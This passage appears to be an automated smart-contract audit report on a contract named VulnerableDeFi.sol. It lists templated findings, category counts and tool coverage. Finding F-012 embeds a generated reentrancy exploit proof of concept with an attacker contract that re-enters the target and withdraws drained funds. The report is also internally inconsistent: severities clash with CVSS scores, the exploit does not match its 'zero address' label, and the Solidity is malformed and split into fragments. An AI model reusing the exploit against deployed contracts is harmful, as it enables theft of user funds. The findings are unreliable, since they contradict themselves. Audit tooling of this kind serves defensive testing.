F-045	missing_annotation_coverage	CRITICAL	open	3.7
F-046	missing_annotation_coverage	MEDIUM	open	3.7
F-047	missing_annotation_coverage	MEDIUM	open	3.7
F-048	missing_annotation_coverage	MEDIUM	open	3.7
F-049	missing_annotation_coverage	MEDIUM	open	3.7
F-050	selfdestruct-identifier	CRITICAL	open	9.6

ID	TITLE	SEVERITY	STATUS	CVSS
F-051	delegate-call-unchecked-address	MEDIUM	open	8.0
F-052	unchecked-return	MEDIUM	open	8.0
F-053	weak-randomness	MEDIUM	open	8.0
F-054	centralization-risk	INFO	open	3.7
F-055	access_control	LOW	open	3.7
F-056	access_control	MEDIUM	open	3.7
F-057	access_control	MEDIUM	open	3.7
F-058	access_control	MEDIUM	open	3.7
F-059	access_control	MEDIUM	open	3.7
F-060	access_control	CRITICAL	open	3.7
F-061	access_control	CRITICAL	open	3.7
F-062	access_control	MEDIUM	open	3.7
F-063	access_control	MEDIUM	open	3.7
F-064	access_control	MEDIUM	open	3.7
F-065	selfdestruct	CRITICAL	open	9.6
F-066	delegatecall	CRITICAL	open	9.6
F-067	timestamp_dependence	MEDIUM	open	8.0
F-068	timestamp_dependence	MEDIUM	open	8.0
F-069	floating_pragma	MEDIUM	open	8.0
F-070	denial_of_service	MEDIUM	open	8.0
F-071	Unprotected Self-Destruct	CRITICAL	open	9.6
F-072	Delegatecall to Untrusted Callee	CRITICAL	open	9.6
F-073	Denial of Service via Gas Limit	MEDIUM	open	8.0
F-074	Front-Running / Transaction Ordering Dependence	MEDIUM	open	8.0
F-075	Front-Running / Transaction Ordering Dependence	MEDIUM	open	8.0

ID	TITLE	SEVERITY	STATUS	CVSS
F-076	Integer Overflow / Underflow	MEDIUM	open	8.0
F-077	Timestamp Dependence	MEDIUM	open	8.0
F-078	Timestamp Dependence	MEDIUM	open	8.0
F-079	Unchecked Low-Level Call	CRITICAL	open	9.6
F-080	solcmc_divByZero	LOW	open	3.7
F-081	solcmc_outOfBounds	LOW	open	3.7
F-082	solcmc_outOfBounds	LOW	open	3.7
F-083	solcmc_outOfBounds	LOW	open	3.7
F-084	solcmc_outOfBounds	CRITICAL	open	3.7
F-085	solcmc_outOfBounds	MEDIUM	open	3.7
F-086	solcmc_outOfBounds	MEDIUM	open	3.7
F-087	solcmc_outOfBounds	MEDIUM	open	3.7
F-088	delegatecall	HIGH	open	9.6
F-089	bad_randomness	MEDIUM	open	8.0
F-090	unprotected_selfdestruct	MEDIUM	open	8.0
F-091	Weak Randomness Source	HIGH	open	9.6
F-092	Weak Randomness Source	HIGH	open	9.6
F-093	Weak Randomness Source	HIGH	open	9.6
F-094	Short Address Attack Vulnerability	MEDIUM	open	8.0
F-095	Short Address Attack Vulnerability	CRITICAL	open	8.0
F-096	Short Address Attack Vulnerability	HIGH	open	8.0
F-097	Short Address Attack Vulnerability	HIGH	open	8.0
F-098	Missing Access Control	CRITICAL	open	9.9
F-099	Missing Access Control	CRITICAL	open	9.9
F-100	Timestamp Dependency	HIGH	open	9.6

ID	TITLE	SEVERITY	STATUS	CVSS
F-101	Timestamp Dependency	HIGH	open	9.6
F-102	access_control	CRITICAL	open	3.7
F-103	delegatecall_injection	CRITICAL	open	9.6
F-104	threat_model	INFO	open	3.7
F-105	threat_model	MEDIUM	open	3.7
F-106	threat_model	MEDIUM	open	3.7
F-107	threat_model	MEDIUM	open	3.7
F-108	threat_model	CRITICAL	open	3.7
F-109	threat_model	CRITICAL	open	3.7
F-110	threat_model	MEDIUM	open	3.7
F-111	threat_model	MEDIUM	open	3.7
F-112	threat_model	MEDIUM	open	3.7
F-113	threat_model	MEDIUM	open	3.7
F-114	threat_model	LOW	open	3.7
F-115	threat_model	INFO	open	3.7
F-116	threat_model	LOW	open	3.7
F-117	threat_model	LOW	open	3.7
F-118	threat_model	INFO	open	3.7
F-119	threat_model	LOW	open	3.7
F-120	threat_model	LOW	open	3.7
F-121	threat_model	MEDIUM	open	3.7
F-122	threat_model	MEDIUM	open	3.7
F-123	threat_model	MEDIUM	open	3.7
F-124	threat_model	CRITICAL	open	3.7
F-125	threat_model	CRITICAL	open	3.7

ID	TITLE	SEVERITY	STATUS	CVSS
F-126	threat_model	MEDIUM	open	3.7
F-127	threat_model	LOW	open	3.7
F-128	threat_model	CRITICAL	open	3.7
F-129	threat_model	CRITICAL	open	3.7
F-130	gas_optimization	LOW	open	3.7
F-131	gas_optimization	MEDIUM	open	3.7
F-132	gas_optimization	LOW	open	3.7
F-133	gas_optimization	LOW	open	3.7
F-134	mev_vulnerability	INFO	open	3.7
F-135	Potential Rug Pull Pattern	HIGH	open	7.9
F-136	Potential Rug Pull Pattern	MEDIUM	open	7.9
F-137	Potential Rug Pull Pattern	HIGH	open	7.9
F-138	Potential Rug Pull Pattern	MEDIUM	open	7.9
F-139	Ownership Not Renounced	HIGH	open	7.9
F-140	Token Security Issue	HIGH	open	7.9
F-141	Token Security Issue	MEDIUM	open	7.9
F-142	Token Security Issue	MEDIUM	open	7.9
F-143	Token Security Issue	HIGH	open	7.9
F-144	Proxy/Upgrade Vulnerability	CRITICAL	open	9.6
F-145	High Centralization Risk	HIGH	open	9.6
F-146	Centralization Risk	MEDIUM	open	8.0
F-147	Centralization Risk	MEDIUM	open	8.0
F-148	No Timelock or Multi-sig	HIGH	open	9.6
F-149	Missing Transaction Deadline	HIGH	open	9.6
F-150	MEV Exposure Detected	CRITICAL	open	9.6









ID	TITLE	SEVERITY	STATUS	CVSS
F-151	MEV Exposure Detected	HIGH	open	9.6
F-152	weak-prng	MEDIUM	open	8.0
F-153	controlled-delegatecall	MEDIUM	open	8.0
F-154	suicidal	CRITICAL	open	9.6
F-155	uninitialized-state	MEDIUM	open	8.0
F-156	unused-return	MEDIUM	open	8.0
F-157	ml_detected_vulnerability	MEDIUM	open	8.0
F-158	ml_detected_vulnerability	MEDIUM	open	8.0
F-159	denial_of_service	MEDIUM	open	8.0
F-160	access_control	MEDIUM	open	3.7
F-161	denial_of_service	MEDIUM	open	8.0
F-162	denial_of_service	MEDIUM	open	8.0

4.2 Category Distribution

CATEGORY	COUNT	SEVERITY BREAKDOWN
threat_model	26	6 critical, 3 informational, 6 low, 11 medium
missing_annotation_coverage	16	2 critical, 2 informational, 4 low, 8 medium
access_control	14	5 critical, 1 low, 8 medium
centralization_risk	11	2 high, 3 informational, 4 low, 2 medium
missing_zero_address_check	8	1 critical, 2 low, 5 medium
solcmc_outOfBounds	7	1 critical, 3 low, 3 medium
precondition_failure	5	2 low, 3 medium
rug_pull	5	3 high, 2 medium
postcondition_failure	4	4 medium
timestamp_dependence	4	4 medium
denial_of_service	4	4 medium
bad_randomness	4	3 high, 1 medium
short_addresses	4	1 critical, 2 high, 1 medium
gas_optimization	4	3 low, 1 medium
token_security	4	2 high, 2 medium
delegatecall	3	2 critical, 1 high
use_of_block_timestamp	2	2 medium
time_dependency	2	2 medium
selfdestruct	2	2 critical
front_running	2	2 medium
time_manipulation	2	2 high
mev_exposure	2	1 critical, 1 high
ml_detected_vulnerability	2	2 medium
missing_event_emission	1	1 low
magic_numbers	1	1 medium

CATEGORY	COUNT	SEVERITY BREAKDOWN
loop_length_caching	1	1 low
state_manipulation	1	1 medium
privilege_escalation_sequence	1	1 low
selfdestruct-identifier	1	1 critical
delegate-call-unchecked-address	1	1 medium
unchecked-return	1	1 medium
weak-randomness	1	1 medium
centralization-risk	1	1 informational
floating_pragma	1	1 medium
dos_gas	1	1 medium
integer_overflow	1	1 medium
unchecked_call	1	1 critical
solcmc_divByZero	1	1 low
unprotected_selfdestruct	1	1 medium
delegatecall_injection	1	1 critical
mev_vulnerability	1	1 informational
proxy_upgrade	1	1 critical
sandwich_attack	1	1 high
weak-prng	1	1 medium
controlled-delegatecall	1	1 medium
suicidal	1	1 critical
uninitialized-state	1	1 medium
unused-return	1	1 medium

4.3 Layer Coverage Analysis

LAYER	TOOLS RUN	PASSED	FAILED	FINDINGS	COVERAGE
Layer 1: Static Analysis	slither, aderyn, solhint, wake, semgrep	3	2	0	 60%
Layer 2: Dynamic Testing	echidna, medusa, foundry, dogefuzz, vertigo, hardhat	2	4	0	 33%
Layer 3: Symbolic Execution	mythril, manticore, halmos, oyente	1	3	0	 25%
Layer 4: Formal Verification	certora, smtchecker, propertygpt, scribble	2	2	0	 50%
Layer 6: AI/ LLM Analysis	smartllm, gptscan, llmsmartaudit	0	3	0	 0%
Layer 7: ML Detection	daggn, smartbugs_ml, smartbugs_detector, smartguard	3	1	0	 75%
Layer 8: DeFi Security	mev_detector, defi	2	0	0	 100%
Layer 9: Specialized Analysis	threat_model, gas_analyzer, contract_clone_detector, advanced_detector	4	0	0	 100%

5. Detailed Findings

F-001. centralization_risk

PROPERTY	VALUE
Severity	INFO
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:27
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-002. centralization_risk

PROPERTY	VALUE
Severity	INFO
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:33
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-003. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:38
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-004. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:43
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-005. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-006. centralization_risk

PROPERTY	VALUE
Severity	LOW
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:65
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-007. centralization_risk

PROPERTY	VALUE
Severity	INFO
Category	SWC-105
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:28
Status	open
Detected By	fouranalyzer

Description

Contract has centralization risk - single owner or admin can control critical functions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Implement multi-sig or timelock for privileged operations

References

- No references available

F-008. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:38
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-009. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-010. missing_zero_address_check

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:88
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-011. missing_zero_address_check

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:93
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-012. missing_zero_address_check

PROPERTY	VALUE
Severity	CRITICAL
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:106
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Address parameter not validated against zero address
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

```

```

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-013. missing_zero_address_check

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:113
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-014. missing_zero_address_check

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:129
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-015. missing_zero_address_check

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_zero_address_check
CVSS Score	3.1
Location	/contracts/VulnerableDeFi.sol:134
Status	open
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require(addr != address(0)) check

References

- No references available

F-016. use_of_block_timestamp

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:75
Status	open
Detected By	fouranalyzer

Description

Use of block.timestamp for time-sensitive logic - can be manipulated by miners

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Consider using block.number or an oracle for time-critical operations

References

- No references available

F-017. use_of_block_timestamp

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:84
Status	open
Detected By	fouranalyzer

Description

Use of block.timestamp for time-sensitive logic - can be manipulated by miners

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Consider using block.number or an oracle for time-critical operations

References

- No references available

F-018. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	missing_event_emission
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:43
Status	open
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Emit events for all state-changing operations

References

- No references available

F-019. magic_numbers

PROPERTY	VALUE
Severity	MEDIUM
Category	magic_numbers
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:84
Status	open
Detected By	fouranalyzer

Description

Magic number used instead of named constant

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Define named constants for numeric literals

References

- No references available

F-020. loop_length_caching

PROPERTY	VALUE
Severity	LOW
Category	loop_length_caching
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:67
Status	open
Detected By	fouranalyzer

Description

Array length accessed in loop condition - cache for gas savings

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Cache array.length in a local variable before the loop

References

- No references available

F-021. time_dependency

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:75
Status	open
Detected By	oyente

Description

Timestamp dependency detected

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Avoid using block.timestamp for critical logic

References

- No references available

F-022. time_dependency

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:84
Status	open
Detected By	oyente

Description

Timestamp dependency detected

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Avoid using block.timestamp for critical logic

References

- No references available

F-023. state_manipulation

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-132
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:13
Status	open
Detected By	pakala

Description

Contract state can be manipulated through a sequence of transactions to reach an unintended state

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Implement state machine pattern with explicit valid transitions

References

- No references available

F-024. privilege_escalation_sequence

PROPERTY	VALUE
Severity	LOW
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:43
Status	open
Detected By	pakala

Description

Privilege can be escalated through a sequence of calls exploiting role transitions

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Implement role hierarchy with explicit checks at each transition

References

- No references available

F-025. precondition_failure

PROPERTY	VALUE
Severity	LOW
Category	SWC-123
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- No references available

F-026. precondition_failure

PROPERTY	VALUE
Severity	LOW
Category	SWC-123
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:65
Status	open
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- No references available

F-027. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-123
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:129
Status	open
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- No references available

F-028. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-123
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:130
Status	open
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- No references available

F-029. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-123
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:134
Status	open
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- No references available

F-030. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	postcondition_failure
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:73
Status	open
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- No references available

F-031. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	postcondition_failure
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:83
Status	open
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- No references available

F-032. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	postcondition_failure
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:130
Status	open
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- No references available

F-033. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	postcondition_failure
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:134
Status	open
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- No references available

F-034. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:33
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-035. missing_annotation_coverage

PROPERTY	VALUE
Severity	LOW
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:38
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-036. missing_annotation_coverage

PROPERTY	VALUE
Severity	LOW
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:43
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-037. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:48
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-038. missing_annotation_coverage

PROPERTY	VALUE
Severity	LOW
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-039. missing_annotation_coverage

PROPERTY	VALUE
Severity	LOW
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:65
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-040. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:73
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-041. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:83
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-042. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:88
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-043. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:93
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

